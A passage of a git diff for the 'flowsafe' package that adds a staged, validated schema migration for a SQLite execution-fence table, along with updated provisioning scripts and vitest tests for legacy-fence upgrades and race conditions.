+159,7 @@ const CREATE_SENTINEL = Object.freeze({ }); const CREATE_EXECUTION_FENCE = Object.freeze({ mode: 'write', - sql: EXECUTION_FENCE_DDL, + sql: EXECUTION_FENCE_BOOTSTRAP_DDL, bindings: Object.freeze([]), }); @@ -279,7 +306,12 @@ function seedExecutionFenceRow(state, seededAt) { mode: 'write', sql: `INSERT OR IGNORE INTO ${EXECUTION_FENCE_TABLE} (id, state, proof_key, proof_run_id, updated_at) - VALUES (?, ?, NULL, NULL, ?)`, + SELECT ?, ?, NULL, NULL, ? + WHERE NOT EXISTS ( + SELECT 1 FROM pragma_table_xinfo('${EXECUTION_FENCE_TABLE}') + WHERE name IN ('last_transition_request', 'transition_revision', + 'mutation_epoch', 'require_mutation_epoch') + )`, // INSERT OR IGNORE, never an upsert: seeding runs on every provisioning // pass, and a re-provision of a LIVE deployment must not silently reopen a // fence an operator closed. @@ -293,20 +325,187 @@ function seedExecutionFenceRow(state, seededAt) { }; } -/** - * Write the deployment's initial fence row, if it has none. - * - * Two statements rather than one request: every executor this protocol is - * driven through — the runtime's `db.prepare()`, the CLI's - * `wrangler d1 execute --command`, and both fleet-control backends' REST - * `/query` with bound parameters — carries exactly ONE statement per call, so - * there is no seam here through which a batch could be sent. The DDL therefore - * runs first and the row second; a crash between them leaves an empty fence - * table, which reads as `open` and is healed by the next invocation. - */ -async function seedExecutionFence(execute, state, seededAt) { - await execute(CREATE_EXECUTION_FENCE); - await execute(seedExecutionFenceRow(state, seededAt)); +function malformedExecutionFence(reason) { + return new DeploymentIdentityError( + `${EXECUTION_FENCE_TABLE} has an invalid execution-fence schema (${reason})`, + ); +} + +export async function readExecutionFenceSchemaProtocol(execute) { + const columns = await execute({ + mode: 'read', + sql: `PRAGMA table_xinfo(${EXECUTION_FENCE_TABLE})`, + bindings: [], + }); + if (!Array.isArray(columns)) { + throw malformedExecutionFence('column metadata is not an array'); + } + if (columns.length === 0) return undefined; + if (columns.length < 5 || columns.length > EXECUTION_FENCE_COLUMNS.length) { + throw malformedExecutionFence('unexpected columns'); + } + for (let index = 0; index < columns.length; index += 1) { + const actual = columns[index]; + const [name, type, notnull, pk, defaultValue] = + EXECUTION_FENCE_COLUMNS[index]; + if ( + rowField(actual, 'name') !== name || + rowField(actual, 'type') !== type || + rowField(actual, 'notnull') !== notnull || + rowField(actual, 'pk') !== pk || + rowField(actual, 'dflt_value') !== defaultValue || + rowField(actual, 'hidden') !== 0 + ) { + throw malformedExecutionFence(`column ${name} differs`); + } + } + return columns.length - 5; +} + +export function decodeExecutionFenceMutationMetadata(row) { + if (row === null || typeof row !== 'object' || Array.isArray(row)) { + throw malformedExecutionFence('row is not an object'); + } + let stage = 0; + let missing = false; + for (const [name] of EXECUTION_FENCE_COLUMNS.slice(5)) { + if (Object.hasOwn(row, name)) { + if (missing) throw malformedExecutionFence('metadata prefix has a hole'); + stage += 1; + } else { + missing = true; + } + } + const receipt = row.last_transition_request; + const revision = row.transition_revision; + const epoch = row.mutation_epoch; + const required = row.require_mutation_epoch; + if (stage < 4) { + if ( + (stage >= 1 && receipt !== null) || + (stage >= 2 && revision !== 0) || + (stage >= 3 && epoch !== 0) + ) { + throw malformedExecutionFence( + 'partial metadata is not optional defaults', + ); + } + return { + mutationEpoch: 0, + requireMutationEpoch: false, + transitionRevision: 0, + lastTransitionRequest: null, + schemaStage: stage, + }; + } + if ( + !Number.isSafeInteger(epoch) || + epoch < 0 || + !Number.isSafeInteger(revision) || + revision < 0 || + (required !== 0 && required !== 1) || + (required === 1) !== epoch > 0 || + (receipt !== null && + (typeof receipt !== 'string' || receipt.length > 512)) || + (revision === 0 && receipt !== null) || + (required === 1 && (receipt === null || revision === 0)) + ) { + throw malformedExecutionFence('mutation metadata is inconsistent'); + } + return { + mutationEpoch: epoch, + requireMutationEpoch: required === 1, + transitionRevision: revision, + lastTransitionRequest: receipt, + schemaStage: stage, + }; +} + +async function observeExecutionFence(execute, allowLegacyEmpty) { + let minimumStage = 0; + for (let attempt = 0; attempt < 2; attempt += 1) { + const rows = await execute({ + mode: 'read', + sql: `SELECT * FROM ${EXECUTION_FENCE_TABLE} LIMIT 2`, + bindings: [], + }); + const stage = await readExecutionFenceSchemaProtocol(execute); + if (!Array.isArray(rows) || stage === undefined || stage < minimumStage) { + throw malformedExecutionFence('row observation has no compatible schema'); + } + if (rows.length === 0 && attempt === 0) { + if (stage === 0 && allowLegacyEmpty) return { stage, empty: true }; + if (stage > 0) { + minimumStage = stage; + continue; + } + } + if ( + rows.length !== 1 || + rowField(rows[0], 'id') !== EXECUTION_FENCE_ROW_ID || + !EXECUTION_FENCE_STATES.includes(rowField(rows[0], 'state')) + ) { + throw malformedExecutionFence('fence row is not a recognized singleton'); + } + const metadata = decodeExecutionFenceMutationMetadata(rows[0]); + if (metadata.schemaStage > stage) { + throw malformedExecutionFence('schema observation precedes row metadata'); + } + return { stage, empty: false, rowStage: metadata.schemaStage }; + } + throw malformedExecutionFence('fence row is missing'); +} + +export async function initializeExecutionFenceProtocol( + execute, + { state, seededAt }, +) { + if (!EXECUTION_FENCE_STATES.includes(state)) { + throw malformedExecutionFence('initial state is unrecognized'); + } + if (!Number.isSafeInteger(seededAt) || seededAt < 0) { + throw malformedExecutionFence('seed timestamp is invalid'); + } + if ((await readExecutionFenceSchemaProtocol(execute)) === undefined) { + await execute(CREATE_EXECUTION_FENCE); + if ((await readExecutionFenceSchemaProtocol(execute)) === undefined) { + throw malformedExecutionFence('bootstrap did not create the table'); + } + } + let observation = await observeExecutionFence(execute, true); + if (observation.empty) { + await execute(seedExecutionFenceRow(state, seededAt)); + observation = await observeExecutionFence(execute, false); + } + for (let index = observation.stage; index < 4; index += 1) { + const stage = await readExecutionFenceSchemaProtocol(execute); + if (stage === undefined || stage < index) { + throw malformedExecutionFence('schema regressed during initialization'); + } + if (stage > index) continue; + try { + await execute({ + mode: 'write', + sql: `ALTER TABLE ${EXECUTION_FENCE_TABLE} ADD COLUMN ${EXECUTION_FENCE_ADDITIONS[index]}`, + bindings: [], + }); + } catch (error) { + let observedStage; + try { + observedStage = await readExecutionFenceSchemaProtocol(execute); + } catch (readError) { + if (readError instanceof DeploymentIdentityError) throw readError; + throw error; + } + if (observedStage === undefined || observedStage <= index) throw error; + } + } + const final = await observeExecutionFence(execute, false); + if (final.stage !== 4 || final.rowStage !== 4) { + throw malformedExecutionFence( + 'initialization did not reach the current schema', + ); + } } async function scanTables(execute) { @@ -380,7 +579,10 @@ export async function provisionDeploymentIdentityProtocol( // residue, on the one deployment a migration most needs to be able to lock. // Seeding here is what heals it, and INSERT-if-absent is what makes // repeating it safe on a deployment whose fence has since been moved. - await seedExecutionFence(execute, fenceState, seededAt); + await initializeExecutionFenceProtocol(execute, { + state: fenceState, + seededAt, + }); return; } if (applicationTables.length > 0) { @@ -393,7 +595,10 @@ export async function provisionDeploymentIdentityProtocol( if (storedAfterCreate !== tag) { throw differentOwnerError(caller, storedAfterCreate, tag); } - await seedExecutionFence(execute, fenceState, seededAt); + await initializeExecutionFenceProtocol(execute, { + state: fenceState, + seededAt, + }); return; } @@ -423,5 +628,8 @@ export async function provisionDeploymentIdentityProtocol( // PROVEN keeps it out of the window where `unownedDatabaseError` and the // conditional ownership insert are still deciding whether this database is // ours to write to at all. - await seedExecutionFence(execute, fenceState, seededAt); + await initializeExecutionFenceProtocol(execute, { + state: fenceState, + seededAt, + }); } diff --git a/packages/flowsafe/scripts/provisioning-pack-test.mjs b/packages/flowsafe/scripts/provisioning-pack-test.mjs index ca8a9cd4..8095586b 100644 --- a/packages/flowsafe/scripts/provisioning-pack-test.mjs +++ b/packages/flowsafe/scripts/provisioning-pack-test.mjs @@ -71,8 +71,15 @@ if (typeof sql !== 'string') { const statePath = process.env.FAKE_WRANGLER_STATE; const state = existsSync(statePath) ? JSON.parse(readFileSync(statePath, 'utf8')) - : { created: false, tag: undefined, fence: false, fenceState: undefined }; + : { created: false, tag: undefined, fence: false, fenceStage: 0, fenceState: undefined }; const FENCE = 'flowsafe_execution_fence'; +const fenceColumns = [ + ['id', 'TEXT', 0, 1, null], ['state', 'TEXT', 1, 0, null], + ['proof_key', 'TEXT', 0, 0, null], ['proof_run_id', 'TEXT', 0, 0, null], + ['updated_at', 'INTEGER', 1, 0, null], ['last_transition_request', 'TEXT', 0, 0, null], + ['transition_revision', 'INTEGER', 1, 0, '0'], ['mutation_epoch', 'INTEGER', 1, 0, '0'], + ['require_mutation_epoch', 'INTEGER', 1, 0, '0'], +]; const schema = \`CREATE TABLE flowsafe_deployment ( id INTEGER PRIMARY KEY CHECK (id = 1), tenant_tag TEXT NOT NULL, @@ -94,13 +101,27 @@ if (sql.startsWith('SELECT name, sql')) { } else if (sql.startsWith('CREATE TABLE IF NOT EXISTS ' + FENCE)) { state.fence = true; results = []; +} else if (sql === 'PRAGMA table_xinfo(' + FENCE + ')') { + results = state.fence ? fenceColumns.slice(0, 5 + state.fenceStage).map(([name, type, notnull, pk, dflt_value], cid) => ({ name, type, notnull, pk, dflt_value, cid, hidden: 0 })) : []; +} else if (sql.startsWith('SELECT * FROM ' + FENCE)) { + results = state.fenceRow ? [state.fenceRow] : []; +} else if (sql.startsWith('ALTER TABLE ' + FENCE + ' ADD COLUMN ')) { + const name = sql.slice(('ALTER TABLE ' + FENCE + ' ADD COLUMN ').length).split(' ')[0]; + if (!state.fenceRow || name !== fenceColumns[5 + state.fenceStage]?.[0]) throw new Error('unexpected fence ALTER stage'); + state.fenceRow[name] = state.fenceStage === 0 ? null : 0; + state.fenceStage += 1; + results = []; } else if (sql.startsWith('INSERT OR IGNORE INTO ' + FENCE)) { if (!state.fence) { process.stderr.write('fence row seeded before its table\\n'); process.exit(5); } - state.fenceState = - state.fenceState ?? sql.match(/'deployment', '([^']+)'/)?.[1]; + if (state.fenceStage === 0 && !state.fenceRow) { + const values = sql.match(/SELECT 'deployment', '([^']+)', NULL, NULL, '(\\d+)'/); + if (!values) throw new Error('invalid fence INSERT'); + state.fenceState = values[1]; + state.fenceRow = { id: 'deployment', state: values[1], proof_key: null, proof_run_id: null, updated_at: Number(values[2]) }; + } results = []; } else if (sql.startsWith('CREATE TABLE')) { state.created = true; @@ -280,7 +301,16 @@ assert.deepEqual( import { DEPLOYMENT_IDENTITY_HEADER as LEGACY_DEPLOYMENT_IDENTITY_HEADER, deploymentIdentityHeaders as legacyDeploymentIdentityHeaders, + ExecutionFenceStore, + type ExecutionFenceReading, + type ExecutionFenceVersionedReading, } from '@proofoftech/flowsafe/do-runner'; +import { + type ExecutionFenceReading as HostReading, + type ExecutionFenceVersionedReading as HostVersionedReading, + type ExecutionFenceTransition, + executionFenceReadingPayload, +} from '@proofoftech/flowsafe/host-kit'; const secret = 'x'.repeat(32); const headers: Record = deploymentIdentityHeaders(secret); @@ -293,6 +323,22 @@ void headers; void legacyHeaders; void header; void initialFenceState; +const legacyReading: ExecutionFenceReading = { state: 'open' }; +const hostLegacyReading: HostReading = legacyReading; +const command: ExecutionFenceTransition = { + expected: 'open', next: 'draining', expectedMutationEpoch: 0, + expectedRevision: 0, advanceMutationEpoch: true, +}; +async function checkFenceTypes(store: ExecutionFenceStore) { + const versioned: ExecutionFenceVersionedReading = await store.read(); + const hostVersioned: HostVersionedReading = executionFenceReadingPayload(versioned); + const epoch: number = hostVersioned.mutationEpoch; + await store.transition(command); + await store.recordProofRun('proof', 'run'); + await store.recordProofRun('proof', 'run', versioned); + return { epoch, hostLegacyReading }; +} +void checkFenceTypes; `, ); writeFileSync( @@ -533,7 +579,7 @@ void initialFenceState; ); if ( fenceDdlAt === -1 || - fenceRowAt !== fenceDdlAt + 1 || + fenceRowAt <= fenceDdlAt || ownershipAt === -1 || ownershipAt > fenceDdlAt ) { @@ -541,6 +587,17 @@ void initialFenceState; `packed provisioning CLI did not seed the fence after proving ownership: ${JSON.stringify(executedSql)}`, ); } + const fenceAlters = executedSql.flatMap((sql, index) => + sql.startsWith('ALTER TABLE flowsafe_execution_fence ADD COLUMN') + ? [index] + : [], + ); + if ( + fenceAlters.length !== 4 || + fenceAlters.some((index) => index <= fenceRowAt) + ) { + throw new Error('fence columns were not added after the initial row'); + } const seededState = JSON.parse(readFileSync(statePath, 'utf8')).fenceState; if (seededState !== 'migration-locked') { throw new Error( diff --git a/packages/flowsafe/scripts/seed-deployment-identity.test.mjs b/packages/flowsafe/scripts/seed-deployment-identity.test.mjs index 5dffe010..f225f415 100644 --- a/packages/flowsafe/scripts/seed-deployment-identity.test.mjs +++ b/packages/flowsafe/scripts/seed-deployment-identity.test.mjs @@ -2,11 +2,13 @@ import { describe, expect, it } from 'vitest'; +import { EXECUTION_FENCE_DDL } from '../deployment-identity-protocol.mjs'; import { DeploymentIdentityError, readDeploymentIdentity, seedDeploymentIdentity, } from '../src/do-runner/deployment-identity.js'; +import { ExecutionFenceStore } from '../src/do-runner/execution-fence.js'; import { openSqlite, sqliteUnitDatabase } from '../test-support/sqlite.js'; import { parseProvisioningArguments, @@ -31,6 +33,11 @@ const COLUMNS = [ { name: 'tenant_tag', type: 'TEXT', notnull: 1, pk: 0 }, { name: 'provisioned_at', type: 'TEXT', notnull: 1, pk: 0 }, ]; +const LEGACY_FENCE_DDL = `CREATE TABLE ${FENCE_TABLE} ( + id TEXT PRIMARY KEY CHECK (id = 'deployment'), + state TEXT NOT NULL CHECK (state IN ('open', 'draining', 'migration-locked', 'proof-only')), + proof_key TEXT, proof_run_id TEXT, updated_at INTEGER NOT NULL +)`; function databaseQuery(initialTables = [], ownerTag = 'acme') { const tables = [...initialTables]; @@ -39,14 +46,36 @@ function databaseQuery(initialTables = [], ownerTag = 'acme') { // The fence table is reported by the schema scan once created, so the // ownership guard below faces the same residue a crashed provisioning pass // would leave behind. - let fenceTable = initialTables.some((row) => row.name === FENCE_TABLE); - let fenceState; + const fenceSqlite = openSqlite(); + if (initialTables.some((row) => row.name === FENCE_TABLE)) + fenceSqlite.exec(LEGACY_FENCE_DDL); + const fenceSchema = () => + fenceSqlite + .prepare(`SELECT name, sql FROM sqlite_schema WHERE type = 'table'`) + .all(); const mutations = []; return { mutations, - fence: () => ({ table: fenceTable, state: fenceState }), + fence: () => ({ + table: fenceSchema().length === 1, + state: + fenceSchema().length === 0 + ? undefined + : fenceSqlite.prepare(`SELECT state FROM ${FENCE_TABLE}`).get() + ?.state, + }), addTable: (row) => tables.push(row), query: async (statement) => { + if ( + /^(?:CREATE TABLE IF NOT EXISTS|INSERT OR IGNORE INTO|ALTER TABLE) flowsafe_execution_fence\b/.test( + statement, + ) || + statement.startsWith(`SELECT * FROM ${FENCE_TABLE}`) || + statement === `PRAGMA table_xinfo(${FENCE_TABLE})` + ) { + if (/^(CREATE|INSERT|ALTER)/.test(statement)) mutations.push(statement); + return fenceSqlite.prepare(statement).all(); + } if (statement.startsWith('SELECT name, sql')) { const applicationTables = tables.filter( (row) => @@ -54,30 +83,17 @@ function databaseQuery(initialTables = [], ownerTag = 'acme') { ); return [ ...(seeded ? [{ name: 'flowsafe_deployment', sql: SQL }] : []), - ...(fenceTable ? [{ name: FENCE_TABLE, sql: 'CREATE' }] : []), + ...fenceSchema(), ...applicationTables, ]; } if (statement.startsWith('CREATE TABLE')) { mutations.push(statement); - // Dispatch on the TARGET table, never on a substring: the ownership - // insert names the fence table in its exclusion list, so `includes` - // would route it here. - if (statement.startsWith(`CREATE TABLE IF NOT EXISTS ${FENCE_TABLE}`)) { - fenceTable = true; - } else { - seeded = true; - } + seeded = true; return []; } if (statement.startsWith('INSERT OR IGNORE')) { mutations.push(statement); - if (statement.startsWith(`INSERT OR IGNORE INTO ${FENCE_TABLE}`)) { - // INSERT OR IGNORE: an existing row wins, exactly as the protocol - // requires so a re-provision cannot reopen a closed fence. - fenceState ??= statement.match(/VALUES \('[^']+', '([^']+)'/)?.[1]; - return []; - } const blocking = tables.filter( (row) => row.name !== 'flowsafe_deployment' && @@ -166,6 +182,79 @@ async function rejectedError(action) { } describe('deployment identity provisioning CLI', () => { + it('migrates a legacy fence identically through runtime and CLI executors', async () => { + const runtimeSqlite = openSqlite(); + const cliSqlite = openSqlite(); + for (const sqlite of [runtimeSqlite, cliSqlite]) { + sqlite.exec(LEGACY_FENCE_DDL); + sqlite.exec( + `INSERT INTO ${FENCE_TABLE} VALUES ('deployment', 'proof-only', 'old-key', 'old-run', 17)`, + ); + } + await new ExecutionFenceStore(sqliteUnitDatabase(runtimeSqlite)).seed( + 'open', + ); + await provisionDeploymentIdentity(OPTIONS, sqliteQuery(cliSqlite)); + expect(fenceSnapshot(runtimeSqlite)).toEqual(fenceSnapshot(cliSqlite)); + expect(cliSqlite.prepare(`SELECT * FROM ${FENCE_TABLE}`).get()).toEqual({ + id: 'deployment', + state: 'proof-only', + proof_key: 'old-key', + proof_run_id: 'old-run', + updated_at: 17, + last_transition_request: null, + transition_revision: 0, + mutation_epoch: 0, + require_mutation_epoch: 0, + }); + }); + + it('does not seed a new-format row from a stale legacy-empty observation', async () => { + const sqlite = openSqlite(); + sqlite.exec(LEGACY_FENCE_DDL); + const statements = []; + const query = sqliteQuery(sqlite, (sql) => { + statements.push(sql); + if (sql.startsWith(`INSERT OR IGNORE INTO ${FENCE_TABLE}`)) { + sqlite.exec(`DROP TABLE ${FENCE_TABLE}`); + sqlite.exec(EXECUTION_FENCE_DDL); + } + }); + await expect( + provisionDeploymentIdentity(OPTIONS, query), + ).rejects.toBeInstanceOf(DeploymentIdentityError); + expect(sqlite.prepare(`SELECT * FROM ${FENCE_TABLE}`).all()).toEqual([]); + expect( + statements.filter((sql) => + sql.startsWith(`INSERT OR IGNORE INTO ${FENCE_TABLE}`), + ), + ).toHaveLength(1); + }); + + it('preserves the runtime seed vocabulary and the provisioning birth-state restriction', async () => { + for (const state of ['draining', 'proof-only']) { + const sqlite = openSqlite(); + const fence = new ExecutionFenceStore(sqliteUnitDatabase(sqlite)); + await fence.seed(state); + expect(await fence.read()).toEqual({ + state, + mutationEpoch: 0, + requireMutationEpoch: false, + transitionRevision: 0, + }); + const statements = []; + await expect( + provisionDeploymentIdentity( + { ...OPTIONS, initialFenceState: state }, + async (sql) => { + statements.push(sql); + return []; + }, + ), + ).rejects.toBeInstanceOf(DeploymentIdentityError); + expect(statements).toEqual([]); + } + }); it('requires an explicit database, valid tag, fence state, and execution target', () => { expect( parseProvisioningArguments([ @@ -277,7 +366,7 @@ describe('deployment identity provisioning CLI', () => { // Sentinel DDL, ownership insert, then the fence: the fence DDL runs LAST // so it can never add a table to a database whose ownership is still being // decided. - expect(fake.mutations).toHaveLength(4); + expect(fake.mutations).toHaveLength(8); expect(fake.mutations[0]).toMatch( /^CREATE TABLE IF NOT EXISTS flowsafe_deployment/, ); @@ -290,6 +379,13 @@ describe('deployment identity provisioning CLI', () => { expect(fake.mutations[3]).toMatch( /^INSERT OR IGNORE INTO flowsafe_execution_fence/, ); + expect( + fake.mutations + .slice(4) + .every((sql) => + sql.startsWith(`ALTER TABLE ${FENCE_TABLE} ADD COLUMN`), + ), + ).toBe(true); expect(fake.fence()).toEqual({ table: true, state: 'open' }); }); @@ -298,20 +394,13 @@ describe('deployment identity provisioning CLI', () => { await provisionDeploymentIdentity(OPTIONS, fake.query); const afterFirst = fake.mutations.length; - // A second pass short-circuits on ownership but still writes the fence, so - // a run that died between the ownership insert and the fence row heals. + // A current singleton is validated without a fence mutation. await provisionDeploymentIdentity( { ...OPTIONS, initialFenceState: 'migration-locked' }, fake.query, ); - expect(fake.mutations.slice(afterFirst)).toHaveLength(2); - expect(fake.mutations[afterFirst]).toMatch( - /^CREATE TABLE IF NOT EXISTS flowsafe_execution_fence/, - ); - expect(fake.mutations[afterFirst + 1]).toMatch( - /^INSERT OR IGNORE INTO flowsafe_execution_fence/, - ); + expect(fake.mutations.slice(afterFirst)).toEqual([]); // INSERT-if-absent: the existing row survives a re-provision that asked for // a different state. expect(fake.fence()).toEqual({ table: true, state: 'open' }); @@ -419,7 +508,7 @@ describe('deployment identity provisioning CLI', () => { await provisionDeploymentIdentity(OPTIONS, fake.query); - expect(fake.mutations).toHaveLength(3); + expect(fake.mutations).toHaveLength(7); expect(fake.mutations[0]).toMatch( /^INSERT OR IGNORE INTO flowsafe_deployment/, ); @@ -457,7 +546,7 @@ describe('deployment identity provisioning CLI', () => { ])('allows the exact D1-owned %s table', async (name) => { const fake = databaseQuery([{ name, sql: 'CREATE' }]); await provisionDeploymentIdentity(OPTIONS, fake.query); - expect(fake.mutations).toHaveLength(4); + expect(fake.mutations).toHaveLength(8); }); it('allows a pre-existing execution fence table left by an interrupted pass', async () => { diff --git a/packages/flowsafe/src/do-runner/deployment-identity.test.ts b/packages/flowsafe/src/do-runner/deployment-identity.test.ts index 9e9800f2..e69ea499 100644 --- a/packages/flowsafe/src/do-runner/deployment-identity.test.ts +++ b/packages/flowsafe/src/do-runner/deployment-identity.test.ts @@ -1,8 +1,9 @@ // SPDX-License-Identifier: Apache-2.0 -import { describe, expect, it } from 'vitest'; +import { describe, expect, it, vi } from 'vitest'; import { DEPLOYMENT_SENTINEL_DDL, + EXECUTION_FENCE_DDL, EXECUTION_FENCE_ROW_ID, EXECUTION_FENCE_TABLE, } from '#deployment-identity-protocol'; @@ -24,6 +25,10 @@ import { verifyDurableObjectDeploymentIdentity, verifyDurableObjectDeploymentRequest, } from './deployment-identity.js'; +import { + type ExecutionFenceDatabase, + ExecutionFenceStore, +} from './execution-fence.js'; const DEPLOYMENT_IDENTITY_SECRET = 'test-deployment-identity-secret-0001'; @@ -57,6 +62,136 @@ function interceptSentinelRead( } describe('deployment identity provisioning', () => { + const legacyFenceDdl = `CREATE TABLE flowsafe_execution_fence ( + id TEXT PRIMARY KEY CHECK (id = 'deployment'), + state TEXT NOT NULL CHECK (state IN ('open', 'draining', 'migration-locked', 'proof-only')), + proof_key TEXT, proof_run_id TEXT, updated_at INTEGER NOT NULL + )`; + + it('migrates a legacy fence identically through runtime and CLI executors', async () => { + const { provisionDeploymentIdentity } = await vi.importActual<{ + provisionDeploymentIdentity( + options: { + database: string; + tag: string; + target: string; + initialFenceState: string; + }, + query: (sql: string) => Promise, + ): Promise; + }>('../../scripts/seed-deployment-identity.mjs'); + const runtimeSqlite = openSqlite(); + const cliSqlite = openSqlite(); + for (const sqlite of [runtimeSqlite, cliSqlite]) { + sqlite.exec(legacyFenceDdl); + sqlite.exec( + `INSERT INTO ${EXECUTION_FENCE_TABLE} VALUES ('deployment', 'draining', 'legacy key', 'legacy run', 17)`, + ); + } + await seedDeploymentIdentity( + sqliteUnitDatabase(runtimeSqlite) as DeploymentIdentityDatabase, + 'acme', + 'open', + ); + await provisionDeploymentIdentity( + { + database: 'database', + tag: 'acme', + target: '--local', + initialFenceState: 'open', + }, + async (sql: string) => cliSqlite.prepare(sql).all(), + ); + expect( + runtimeSqlite + .prepare(`PRAGMA table_xinfo(${EXECUTION_FENCE_TABLE})`) + .all(), + ).toEqual( + cliSqlite.prepare(`PRAGMA table_xinfo(${EXECUTION_FENCE_TABLE})`).all(), + ); + const expected = [ + { + id: 'deployment', + state: 'draining', + proof_key: 'legacy key', + proof_run_id: 'legacy run', + updated_at: 17, + last_transition_request: null, + transition_revision: 0, + mutation_epoch: 0, + require_mutation_epoch: 0, + }, + ]; + expect( + runtimeSqlite.prepare(`SELECT * FROM ${EXECUTION_FENCE_TABLE}`).all(), + ).toEqual(expected); + expect( + cliSqlite.prepare(`SELECT * FROM ${EXECUTION_FENCE_TABLE}`).all(), + ).toEqual(expected); + }); + + it('does not seed a new-format row from a stale legacy-empty observation', async () => { + const sqlite = openSqlite(); + sqlite.exec(legacyFenceDdl); + const original = sqliteUnitDatabase(sqlite) as DeploymentIdentityDatabase; + const db: DeploymentIdentityDatabase = { + prepare(sql) { + const prepared = original.prepare(sql); + if (!sql.startsWith(`INSERT OR IGNORE INTO ${EXECUTION_FENCE_TABLE}`)) + return prepared; + let bound = prepared; + const statement: DeploymentIdentityStatement = { + bind(...values) { + bound = prepared.bind(...values); + return statement; + }, + all: () => bound.all(), + async run() { + sqlite.exec(`DROP TABLE ${EXECUTION_FENCE_TABLE}`); + sqlite.exec(EXECUTION_FENCE_DDL); + return bound.run(); + }, + }; + return statement; + }, + }; + await expect( + seedDeploymentIdentity(db, 'acme', 'open'), + ).rejects.toBeInstanceOf(DeploymentIdentityError); + expect( + sqlite.prepare(`SELECT * FROM ${EXECUTION_FENCE_TABLE}`).all(), + ).toEqual([]); + }); + + it('preserves the runtime seed vocabulary and the provisioning birth-state restriction', async () => { + for (const state of ['draining', 'proof-only'] as const) { + const sqlite = openSqlite(); + const db = sqliteUnitDatabase(sqlite) as ExecutionFenceDatabase; + const fence = new ExecutionFenceStore(db); + await fence.seed(state); + await expect(fence.read()).resolves.toEqual({ + state, + mutationEpoch: 0, + requireMutationEpoch: false, + transitionRevision: 0, + }); + const statements: string[] = []; + const untouched: DeploymentIdentityDatabase = { + prepare(sql) { + statements.push(sql); + return db.prepare(sql); + }, + }; + await expect( + seedDeploymentIdentity( + untouched, + 'acme', + state as InitialExecutionFenceState, + ), + ).rejects.toBeInstanceOf(DeploymentIdentityError); + expect(statements).toEqual([]); + } + }); it.each([ 'abc', 'a0z', @@ -208,7 +343,7 @@ describe('deployment identity provisioning', () => { const fenceInsert = preparedQueries.find((query) => query.startsWith(`INSERT OR IGNORE INTO ${EXECUTION_FENCE_TABLE}`), ); - expect(fenceInsert).toContain('VALUES (?, ?, NULL, NULL, ?)'); + expect(fenceInsert).toContain('SELECT ?, ?, NULL, NULL, ?'); expect(fenceInsert).not.toContain("'migration-locked'"); expect(fenceBindings).toHaveLength(1); expect(fenceBindings[0]?.[0]).toBe(EXECUTION_FENCE_ROW_ID); diff --git a/packages/flowsafe/src/do-runner/durable-object.test.ts b/packages/flowsafe/src/do-runner/durable-object.test.ts index 16222982..2d342106 100644 --- a/packages/flowsafe/src/do-runner/durable-object.test.ts +++ b/packages/flowsafe/src/do-runner/durable-object.test.ts @@ -5737,6 +5737,9 @@ describe('DurableObjectRunner — idempotent start plumbing', () => { state: 'proof-only', proofKey: 'proof-key-1', proofRunId: 'run-proof', + mutationEpoch: 0, + requireMutationEpoch: false, + transitionRevision: 1, }); // #and a SECOND start under the same key is refused: the proof is one run, @@ -5806,6 +5809,11 @@ describe('DurableObjectRunner — idempotent start plumbing', () => { // #then refused, and nothing ran: the deployment is no longer the one this // start read, so its admission is void. expect(response.status).toBe(503); - await expect(fence.read()).resolves.toEqual({ state: 'migration-locked' }); + await expect(fence.read()).resolves.toEqual({ + state: 'migration-locked', + mutationEpoch: 0, + requireMutationEpoch: false, + transitionRevision: 2, + }); }); }); diff --git a/packages/flowsafe/src/do-runner/execution-fence.test.ts b/packages/flowsafe/src/do-runner/execution-fence.test.ts index 9f4227e7..81cd3b37 100644 --- a/packages/flowsafe/src/do-runner/execution-fence.test.ts +++ b/packages/flowsafe/src/do-runner/execution-fence.test.ts @@ -13,6 +13,7 @@ import { // re-export them (see its header), so a test that pinned them off the runtime // module would be pinning a second copy. import { + EXECUTION_FENCE_DDL, EXECUTION_FENCE_STATES, EXECUTION_FENCE_TABLE, } from '../deployment-identity-protocol.js'; @@ -26,8 +27,10 @@ import { ExecutionFencedError, type ExecutionFenceReading, type ExecutionFenceState, + type ExecutionFenceStatement, ExecutionFenceStore, ExecutionFenceUnreadableError, + executionFenceReadingPayload, FenceTransitionConflictError, InvalidExecutionFenceRequestError, } from './execution-fence.js'; @@ -40,7 +43,8 @@ function fenceFixture(): { fence: ExecutionFenceStore; } { const sqlite = openSqlite(); - const db = sqliteUnitDatabase(sqlite) as ExecutionFenceDatabase; + const backing = sqliteUnitDatabase(sqlite) as ExecutionFenceDatabase; + const db = { prepare: (sql: string) => backing.prepare(sql) }; return { sqlite, db, fence: new ExecutionFenceStore(db) }; } @@ -58,6 +62,49 @@ function reading( return { state, ...extra }; } +const optionalMetadata = { + mutationEpoch: 0, + requireMutationEpoch: false, + transitionRevision: 0, +}; +const legacyFenceDdl = `CREATE TABLE flowsafe_execution_fence ( + id TEXT PRIMARY KEY CHECK (id = 'deployment'), + state TEXT NOT NULL CHECK (state IN ('open', 'draining', 'migration-locked', 'proof-only')), + proof_key TEXT, proof_run_id TEXT, updated_at INTEGER NOT NULL +)`; + +function rawFence(sqlite: SqliteDatabase): Record { + return sqlite + .prepare(`SELECT * FROM ${EXECUTION_FENCE_TABLE}`) + .get() as Record; +} + +function interceptedDatabase( + db: ExecutionFenceDatabase, + intercept: (sql: string, execute: () => Promise) => Promise, +): ExecutionFenceDatabase { + function statement(sql: string, values: unknown[]): ExecutionFenceStatement { + return { + bind: (...bound) => statement(sql, bound), + run: () => + intercept(sql, () => + db + .prepare(sql) + .bind(...values) + .run(), + ), + all: async () => + (await intercept(sql, () => + db + .prepare(sql) + .bind(...values) + .all(), + )) as { results: T[] }, + }; + } + return { prepare: (sql) => statement(sql, []) }; +} + describe('ExecutionFenceStore', () => { it('reads a database with no fence table as open, and writes no DDL doing it', async () => { // #given — a 0.19-era database: the fence table does not exist. @@ -71,19 +118,21 @@ describe('ExecutionFenceStore', () => { // `CREATE TABLE IF NOT EXISTS` is a write path wearing a read's name; it // would make a fenced deployment mutate its own database to answer a // question, and would turn a revoked-write incident into an outage. - expect(observed).toEqual({ state: 'open' }); + expect(observed).toEqual({ state: 'open', ...optionalMetadata }); expect(schemaSnapshot(sqlite)).toEqual(before); expect(before).toEqual([]); }); it('reads a seeded-but-rowless table as open', async () => { // #given — the table exists (a crash between DDL and the row). - const { db, fence } = fenceFixture(); - await fence.seed('open'); - await db.prepare(`DELETE FROM ${EXECUTION_FENCE_TABLE}`).run(); + const { sqlite, fence } = fenceFixture(); + 